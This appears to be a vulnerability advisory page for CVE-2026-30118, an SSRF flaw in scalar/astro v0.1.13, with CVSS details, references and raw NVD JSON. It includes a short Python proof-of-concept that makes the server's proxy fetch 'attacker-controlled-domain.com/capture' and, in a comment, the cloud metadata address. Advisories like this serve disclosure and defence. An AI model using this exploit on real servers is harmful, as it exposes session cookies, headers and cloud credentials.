CVE-2026-30118

Description

scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

scalar/astro v0.1.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-30118
# Target: scalar/astro v0.1.13

import requests

def exploit_ssrf(target_host, malicious_url):
    """Exploit the SSRF vulnerability via scalar_url parameter."""
    url = f"{target_host}/proxy"
    params = {
        "scalar_url": malicious_url
    }
    
    try:
        response = requests.get(url, params=params, timeout=5)
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text[:200]}")
        if response.status_code == 200:
            print("[+] SSRF Triggered successfully!")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Example: Pointing to a burp collaborator or internal metadata service
    target = "http://localhost:3000" 
    # malicious_url = "http://169.254.169.254/latest/meta-data/" 
    malicious_url = "http://attacker-controlled-domain.com/capture"
    exploit_ssrf(target, malicious_url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30118
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30118
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30118/
[4] VulDB https://vuldb.com/cve/CVE-2026-30118
[5] https://github.com/prassan10/ssrf-zero-click-ato-scalar
[6] https://github.com/prassan10/ssrf-zero-click-ato-scalar

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30118", "sourceIdentifier": "[email protected]", "published": "2026-05-19T16:16:20.103", "lastModified": "2026-05-20T14:16:39.930", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/prassan10/ssrf-zero-click-ato-scalar", "source": "[email protected]"}, {"url": "https://github.com/prassan10/ssrf-zero-click-ato-scalar", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}